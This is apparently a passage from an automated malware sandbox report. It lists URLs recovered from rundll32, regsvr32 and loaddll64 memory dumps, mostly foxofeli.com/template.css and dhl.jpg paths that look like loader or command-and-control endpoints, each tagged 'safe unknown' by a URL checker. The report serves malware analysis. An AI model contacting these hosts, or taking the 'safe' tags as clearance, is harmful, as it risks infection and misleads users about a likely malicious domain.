004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.538828333.0
000017B0C190000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.474770039.0000017B0C190000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000006.00000003.428251366
.0000017B0C190000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
06.00000003.519270495.0000017B0C190000.0
0000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.4624711
46.0000017B0C191000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0006.00000003.378254000.0000017B0C190000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.439529244.00000
17B0C190000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000006.000
00003.507997937.0000017B0C190000.0000000
4.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.486865813.0000017B0C190
000.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueabledX

regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/image-directory/dhl.jpgwn regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truegraphy

rundll32.exe, 00000005.00000002.86003753
1.0000024694D1D000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.450723320.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.428251366.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.462471146.0000017B0C191000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.439529244.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/K rundll32.exe, 00000006.00000003.42825136
6.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true;S

rundll32.exe, 00000005.00000002.85975432
9.0000024694C95000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/J regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/ rundll32.exe, 00000005.00000002.86003753
1.0000024694D1D000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
005.00000003.414090870.0000024696C56000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.467919050.000002
4696C56000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000005.0000
0003.480446041.0000024696C56000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000005.00000003.510623100.0000024696C560
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.458732916.000
0024696C56000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000005.0
0000003.709343344.0000024694D44000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000005.00000003.565433066.0
000024696C56000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000005
.00000003.395187989.0000024696C56000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000005.00000003.423066022
.0000024696C56000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
05.00000003.403380526.0000024696C56000.0
0000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.5312397
99.0000024696C56000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0005.00000003.541832961.0000024696C56000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.382387806.00000
24696C56000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000005.000
00003.489485321.0000024696C56000.0000000
4.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000005.00000002.859699787.0000024694C6D
000.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.382095528.00
00024696C56000.00000004.00000020.0002000
0.00000000.sdmp, rundll32.exe, 00000005.
00000003.499296180.0000024696C56000.0000
0004.00000020.00020000.00000000.sdmp, ru
ndll32.exe, 00000005.00000003.433944474.
0000024696C56000.00000004.00000020.00020
000.00000000.sdmp, rundll32.exe, 0000000
5.00000003.403093918.0000024696C56000.00
000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000003.51984471
5.0000024696C56000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true. loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/O regsvr32.exe, 00000004.00000003.41324129
6.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/vide0 rundll32.exe, 00000005.00000002.85969978
7.0000024694C6D000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/M rundll32.exe, 00000005.00000002.86003753
1.0000024694D1D000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.726523447.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.557385
498.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.616579666.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.829103590.0000
0000010BC000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.497956598.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.462435442.00
000000010BC000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.627932293.00000000010E3000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.797295525.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp, regsvr32.exe, 0000000
4.00000003.785701396.00000000010BC000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.36125230
2.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.391381443.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.706288
937.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.441369001.00000000010E400
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000002.860043501.0000
0000010BC000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.607596026.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.449898043.00
000000010BC000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.508955912.00000000010E3000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.746988206.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp, regsvr32.exe, 0000000
4.00000003.850372771.00000000010BC000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.73796696
9.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/C rundll32.exe, 00000006.00000003.37825400
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true$ loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/F rundll32.exe, 00000006.00000003.81305930
0.0000017B0C191000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.715623899.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.769196658.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.731962539.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.758061061.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.538828333.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.746682341.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.823116757.0
000017B0C191000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.723215707.0000017B0C190000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000006.00000003.781077954
.0000017B0C190000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
06.00000003.802966204.0000017B0C191000.0
0000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.7933193
88.0000017B0C191000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0006.00000003.690834815.0000017B0C190000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.699276525.00000
17B0C190000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000006.000
00003.710499376.0000017B0C190000.0000000
4.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true# rundll32.exe, 00000006.00000003.85355500
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859805653.0000017B0C191000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/Z regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

www.mioft. regsvr32.exe, 00000004.00000003.41324129
6.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.449898043.00000000010BC000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/_ rundll32.exe, 00000006.00000003.71562389
9.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.769196658.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.731962539.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.758061061.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.746682341.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.723215707.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.781077954.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.802966204.0
000017B0C191000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.793319388.0000017B0C191000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000006.00000003.699276525
.0000017B0C190000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
06.00000003.710499376.0000017B0C190000.0
0000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueows

loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/S rundll32.exe, 00000006.00000003.45072332
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.363202660.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.474770039.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.462471146.0000017B0C191000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.365201018.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/R loaddll64.exe, 00000001.00000002.8600145
06.00000252DBD6F000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/Q rundll32.exe, 00000006.00000003.71574409
8.0000017B0C138000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859555760.0000017B0C107000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.000001
7B0C138000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truederf/

regsvr32.exe, 00000004.00000003.75667498
9.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.746988206.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.764731
884.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/W rundll32.exe, 00000006.00000003.41974997
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.407890201.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truederE/

regsvr32.exe, 00000004.00000003.58890936
9.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.597332255.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/k rundll32.exe, 00000006.00000003.37825400
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.386528033.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false unknown

https://foxofeli.com/template.css?controller=true;/ regsvr32.exe, 00000004.00000003.47089052
5.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.488959384.00000000010E4000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.566254
333.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.575927545.00000000010E500
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.497956598.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.706288937.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.664001132.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.479029855.00000000010E4000.0000
0004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/e rundll32.exe, 00000006.00000003.76919665
8.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.758061061.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.746682341.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=truederJ/

regsvr32.exe, 00000004.00000003.85011678
4.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000002.860068281.00000000010E5000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=trueder)/

regsvr32.exe, 00000004.00000003.73779325
8.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.681665327.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.715277
706.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.839508298.00000000010E500
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.726523447.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.706288937.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.746988206.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.671694127.00000000010E3000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.693370165.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueY

rundll32.exe, 00000005.00000002.85975432
9.0000024694C95000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueX

loaddll64.exe, 00000001.00000002.8600145
06.00000252DBD6F000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/~ rundll32.exe, 00000005.00000002.85969978
7.0000024694C6D000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true899f5f57b9aR

rundll32.exe, 00000006.00000003.58415304
8.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.593073988.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/s regsvr32.exe, 00000004.00000003.46243544
2.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.449898043.00000000010BC000.
00000004.00000020.00020000.00000000.sdmp

false unknown

https://foxofeli.com/image-directory/dhl.jpgvMY rundll32.exe, 00000006.00000003.71574409
8.0000017B0C138000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859555760.0000017B0C107000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.000001
7B0C138000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueQ

loaddll64.exe, 00000001.00000002.8600145
06.00000252DBD6F000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueS

rundll32.exe, 00000006.00000003.49605775
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.486865813.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueR

loaddll64.exe, 00000001.00000002.8601108
92.00000252DBDBE000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/ofeli.com/template.css?
controller=true

regsvr32.exe, 00000004.00000003.56625433
3.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.544973196.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.575927
545.00000000010E5000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.441369001.00000000010E400
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.650719119.0000
0000010E5000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.533038579.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.664001132.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=true899f5f57b9a:

rundll32.exe, 00000006.00000003.76919665
8.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.781077954.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=trueo regsvr32.exe, 00000004.00000003.83974877
0.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.829103590.00000000010BC000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.850372
771.00000000010BC000.00000004.00000020.0
0020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=truen loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true2/

regsvr32.exe, 00000004.00000003.78523190
2.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=trueh regsvr32.exe, 00000004.00000002.85958707
3.0000000000FFB000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=truek regsvr32.exe, 00000004.00000003.81730907
4.00000000010BC000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.805691501.00000000010BC000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueeople

rundll32.exe, 00000006.00000003.71574409
8.0000017B0C138000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000002.859555760.0000017B0C107000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.000001
7B0C138000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=trueIZ

rundll32.exe, 00000005.00000002.85975432
9.0000024694C95000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=trueder2/

regsvr32.exe, 00000004.00000003.58890936
9.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.639662190.00000000010E5000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.737793
258.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.681665327.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.715277706.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.566254333.00000000010E3000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.544973196.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.575927545.00000000010E5000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.726523447.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp, regsvr32.exe, 0000000
4.00000003.557385498.00000000010E3000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.61657966
6.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.627932293.00000000010E3000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.706288
937.00000000010E3000.00000004.00000020.0
0020000.00000000.sdmp, regsvr32.exe, 000
00004.00000003.607596026.00000000010E300
0.00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.746988206.0000
0000010E3000.00000004.00000020.00020000.
00000000.sdmp, regsvr32.exe, 00000004.00
000003.650719119.00000000010E5000.000000
04.00000020.00020000.00000000.sdmp, regs
vr32.exe, 00000004.00000003.671694127.00
000000010E3000.00000004.00000020.0002000
0.00000000.sdmp, regsvr32.exe, 00000004.
00000003.597332255.00000000010E3000.0000
0004.00000020.00020000.00000000.sdmp, re
gsvr32.exe, 00000004.00000003.533038579.
00000000010E3000.00000004.00000020.00020
000.00000000.sdmp, regsvr32.exe, 0000000
4.00000003.693370165.00000000010E3000.00
000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000003.66400113
2.00000000010E3000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=trued loaddll64.exe, 00000001.00000002.8598484
69.00000252DBCFC000.00000004.00000020.00
020000.00000000.sdmp, regsvr32.exe, 0000
0004.00000002.859587073.0000000000FFB000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000005.00000002.859754329.00000
24694C95000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000006.000
00003.715744098.0000017B0C138000.0000000
4.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000002.859555760.0000017B0C107
000.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.635507260.00
00017B0C138000.00000004.00000020.0002000
0.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=trueg rundll32.exe, 00000006.00000003.47477003
9.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.486865813.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/nd-point: rundll32.exe, 00000006.00000003.49605775
3.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.550411838.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.474770039.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true899f5f57b9aF

rundll32.exe, 00000006.00000003.61066616
6.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/0?; regsvr32.exe, 00000004.00000003.85011678
4.00000000010E5000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.575927545.00000000010E5000.
00000004.00000020.00020000.00000000.sdmp, 
regsvr32.exe, 00000004.00000002.860068
281.00000000010E5000.00000004.00000020.0
0020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true? rundll32.exe, 00000006.00000003.45072332
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.593073988.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.462471146.000001
7B0C191000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.853555003.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000002.859805653.0000017B0C1910
00.00000004.00000020.00020000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/=true rundll32.exe, 00000006.00000003.71049937
6.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?controller=true; rundll32.exe, 00000006.00000003.37825400
0.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/template.css?
controller=true99

rundll32.exe, 00000006.00000003.52798640
8.0000017B0C190000.00000004.00000020.000
20000.00000000.sdmp, rundll32.exe, 00000
006.00000003.450723320.0000017B0C190000.
00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.496057753.000001
7B0C190000.00000004.00000020.00020000.00
000000.sdmp, rundll32.exe, 00000006.0000
0003.538828333.0000017B0C190000.00000004
.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000003.842022925.0000017B0C1900
00.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.474770039.000
0017B0C190000.00000004.00000020.00020000
.00000000.sdmp, rundll32.exe, 00000006.0
0000003.428251366.0000017B0C190000.00000
004.00000020.00020000.00000000.sdmp, run
dll32.exe, 00000006.00000003.519270495.0
000017B0C190000.00000004.00000020.000200
00.00000000.sdmp, rundll32.exe, 00000006
.00000003.462471146.0000017B0C191000.000
00004.00000020.00020000.00000000.sdmp, r
undll32.exe, 00000006.00000003.832726430
.0000017B0C190000.00000004.00000020.0002
0000.00000000.sdmp, rundll32.exe, 000000
06.00000003.439529244.0000017B0C190000.0
0000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.8535550
03.0000017B0C190000.00000004.00000020.00
020000.00000000.sdmp, rundll32.exe, 0000
0006.00000003.419749973.0000017B0C190000
.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.507997937.00000
17B0C190000.00000004.00000020.00020000.0
0000000.sdmp, rundll32.exe, 00000006.000
00003.486865813.0000017B0C190000.0000000
4.00000020.00020000.00000000.sdmp, rundll32.exe, 
00000006.00000002.859805653.0000017B0C191
000.00000004.00000020.00020000.00000000.sdmp, 
rundll32.exe, 00000006.00000003.407890201.00
00017B0C190000.00000004.00000020.0002000
0.00000000.sdmp

false Avira URL Cloud: safe unknown

https://foxofeli.com/he rundll32.exe, 00000005.00000003.45873291
6.0000024696C56000.00000004.00000020.000
20000.00000000.sdmp

false Avira URL Cloud: safe unknown
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https://foxofeli.com/template.css?
controller=trueJ/

regsvr32.exe, 00000004.00000003.58890936
9.00000000010E4000.00000004.00000020.000
20000.00000000.sdmp, regsvr32.exe, 00000
004.00000003.470890525.00000000010E4000.
00000004.00000020.00020000.00000000.sdmp, 
